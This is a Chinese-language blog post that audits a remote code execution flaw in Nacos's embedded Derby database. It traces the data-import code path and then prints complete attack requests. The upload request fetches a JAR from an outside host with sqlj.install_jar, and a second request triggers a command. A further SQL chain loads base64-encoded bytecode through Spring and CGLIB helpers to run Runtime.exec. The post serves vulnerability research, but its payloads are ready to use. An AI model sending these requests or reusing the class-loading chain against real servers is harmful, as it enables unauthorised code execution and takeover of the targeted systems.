Nacos Derby RCE代码审计
Nacos Derby RCE代码审计
原创 T3Ysec T3Ysec 2025-05-07 06:03
漏洞:
com/alibaba/nacos/config/server/controller/ConfigOpsController.
java
跟踪到路由
databaseOperate.
dataImport(file)
看翻译也可以知道数据库操作类的方法,
但是传入的是文件类
跟入代码,
读取临时文件中的数据,
不断去whlie拼接sql语句(sql语句是恶意的derby语句)
判断完文件没有内容了就设置sqls语句
List<ModifyRequest> sqls = batchUpdate.stream()
.map(s -> {
ModifyRequest request = new ModifyRequest(); // 创建一个新的 ModifyRequest 对象
request.setSql(s); // 设置其 sql 属性为 s(s 是 batchUpdate 中的一个元素)
return request; // 返回该对象
})
.collect(Collectors.toList()); // 把所有 ModifyRequest 对象收集成 List
随后进入
futures.
add(CompletableFuture.
runAsync
(() -> results.
add(doDataImport(jdbcTemplate,
sqls))));
中的
doDataImport(jdbcTemplate,
sqls)
传递了我们的恶意sqls语句
随后执行sql语句
看看
template.
batchUpdate(sql)
是否是真的执行了sql语句,
跟入代码
然后进入
BatchUpdateStatementCallback
类下的
doInStatement
方法
最后doInStatement完整的逻辑:
•
调用了一个 sqlj.
install_jar 存储过程,
用于安装一个 JAR 文件。
该 JAR 文件被从http:
//192.
168.
244.
133:
8000/test.
java下载
•
调用了 SYSCS_UTIL.
SYSCS_SET_DATABASE_PROPERTY 存储过程,
将属性 derby.
database.
classpath 的值设置为 NACOS.
bGgDnUtc,
使 Derby 数据库能够加载该 JAR 文件
•
创建了一个名为 S_EXAMPLE_jtZJBFpM 的方法。
该函数的具体实现是在 Java 类 test.
poc.
Example 的 exec 方法(因为是条件竞赛,
id=jtZJBFpM可能会失效,
可以用python随机生成)
这样恶意jar就已经加载进入数据库了
再次使用select查询数据库就能执行恶意命令,
p牛师傅给出过一个链接
https://github.com/alibaba/nacos/issues/4463
数据包:
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 192.168.4.1:8848
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 495
Content-Type: multipart/form-data; boundary=2a262c4e7ea55d81b1906382912b7422
--2a262c4e7ea55d81b1906382912b7422
Content-Disposition: form-data; name="file"; filename="file"
CALL sqlj.install_jar('http://192.168.4.1:8000/evil.jar', 'NACOS.jtZJBFpQ', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.jtZJBFpQ')
CREATE FUNCTION S_EXAMPLE_jtZJBFpQ( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'org.example.Example.exec'
--2a262c4e7ea55d81b1906382912b7422--
触发数据包(这个接口什么sql都能执行):
GET /nacos/v1/cs/ops/derby?sql=select%20*%20from%20(select%20count(*)%20as%20b%2c%20S_EXAMPLE_jtZJBFpQ('calc')%20as%20a%20from%20config_info)%20tmp%20%2f*ROWS%20FETCH%20NEXT*%2f HTTP/1.1
Host: 192.168.4.1:8848
Content-Length: 2
一步到位加载字节码:
-- 1. 定义 Java 类型映射(只做一次)
CREATE TYPE pbqmhhjClass EXTERNAL NAME 'java.lang.Class' LANGUAGE JAVA;
CREATE TYPE pbqmhhjObject EXTERNAL NAME 'java.lang.Object' LANGUAGE JAVA;
CREATE TYPE pbqmhhjClassLoader EXTERNAL NAME 'java.lang.ClassLoader' LANGUAGE JAVA;
-- 2. 定义 Java 方法封装(使用 Spring/CGLIB)
CREATE FUNCTION base64Decode(className VARCHAR(32672))
RETURNS VARCHAR(32672) FOR BIT DATA
EXTERNAL NAME 'org.springframework.util.Base64Utils.decodeFromString'
LANGUAGE JAVA PARAMETER STYLE JAVA;
CREATE FUNCTION getSystemCL()
RETURNS pbqmhhjClassLoader
EXTERNAL NAME 'java.lang.ClassLoader.getSystemClassLoader'
LANGUAGE JAVA PARAMETER STYLE JAVA;
CREATE FUNCTION defineEvil(className VARCHAR(32672), bytes VARCHAR(32672) FOR BIT DATA, loader pbqmhhjClassLoader)
RETURNS pbqmhhjClass
EXTERNAL NAME 'org.springframework.cglib.core.ReflectUtils.defineClass(java.lang.String, byte[], java.lang.ClassLoader)'
LANGUAGE JAVA PARAMETER STYLE JAVA;
-- 3. 触发加载(base64 字符串替换为你的 payload)
INSERT INTO mytrigger VALUES (
defineEvil('Evil', base64Decode('yv66...base64...=='), getSystemCL())
);
1. 创建 Java 类型映射
首先,
你定义了几个类型映射,
允许 SQL 调用 Java 类:
CREATE TYPE pbqmhhjClass EXTERNAL NAME 'java.lang.Class' LANGUAGE JAVA;
CREATE TYPE pbqmhhjObject EXTERNAL NAME 'java.lang.Object' LANGUAGE JAVA;
CREATE TYPE pbqmhhjClassLoader EXTERNAL NAME 'java.lang.ClassLoader' LANGUAGE JAVA;
这些映射允许你在 SQL 中使用 Java 类类型。
2. 定义 Base64 解码函数
接下来,
创建了一个
base64Decode
函数,
利用 Spring 的
Base64Utils
来解码传入的 Base64 字符串:
CREATE FUNCTION pbqmhhj64Decode(className VARCHAR(32672))
RETURNS VARCHAR(32672) FOR BIT DATA
EXTERNAL NAME 'org.springframework.util.Base64Utils.decodeFromString'
LANGUAGE JAVA PARAMETER STYLE JAVA;
这个函数允许你将 Base64 编码的恶意字节码转换成字节数据,
以便后续加载。
3. 获取系统类加载器
你还定义了一个函数来获取系统类加载器:
ClassLoader.
getSystemClassLoader()
会返回系统类加载器,
用来加载定义的类。
4. 定义恶意类
这个函数
depbqmhhjClass
通过
CGLIB
的
ReflectUtils.
defineClass
将字节数据加载到 JVM 中,
并返回一个
Class
类型对象:
CREATE FUNCTION depbqmhhjClass(
className VARCHAR(724),
bytes VARCHAR(724) FOR BIT DATA,
loader pbqmhhjClassLoader
) RETURNS pbqmhhjClass
EXTERNAL NAME 'org.springframework.cglib.core.ReflectUtils.defineClass(java.lang.String, byte[], java.lang.ClassLoader)'
LANGUAGE JAVA PARAMETER STYLE JAVA;
5. 将恶意类插入表
接下来,
你插入了一个恶意类到表
injepbqmhhjct
中,
实际上传入了一个
Base64
编码的字节数组,
它代表了
com.
fasterxml.
jackson.
l.
NetworkUtils
类:
INSERT INTO injepbqmhhjct
VALUES (
depbqmhhjClass(
'com.fasterxml.jackson.l.NetworkUtils',
pbqmhhj64Decode('yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAAR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS'),
getpbqmhhjmClassLoader()
)
);
6. 恶意类加载与执行
通过
pbqmhhj64Decode
解码 Base64 字节流后,
调用
ReflectUtils.
defineClass
来动态加载恶意类
com.
fasterxml.
jackson.
l.
NetworkUtils
,
这个类的字节码包含了恶意代码,
可以在加载时触发执行。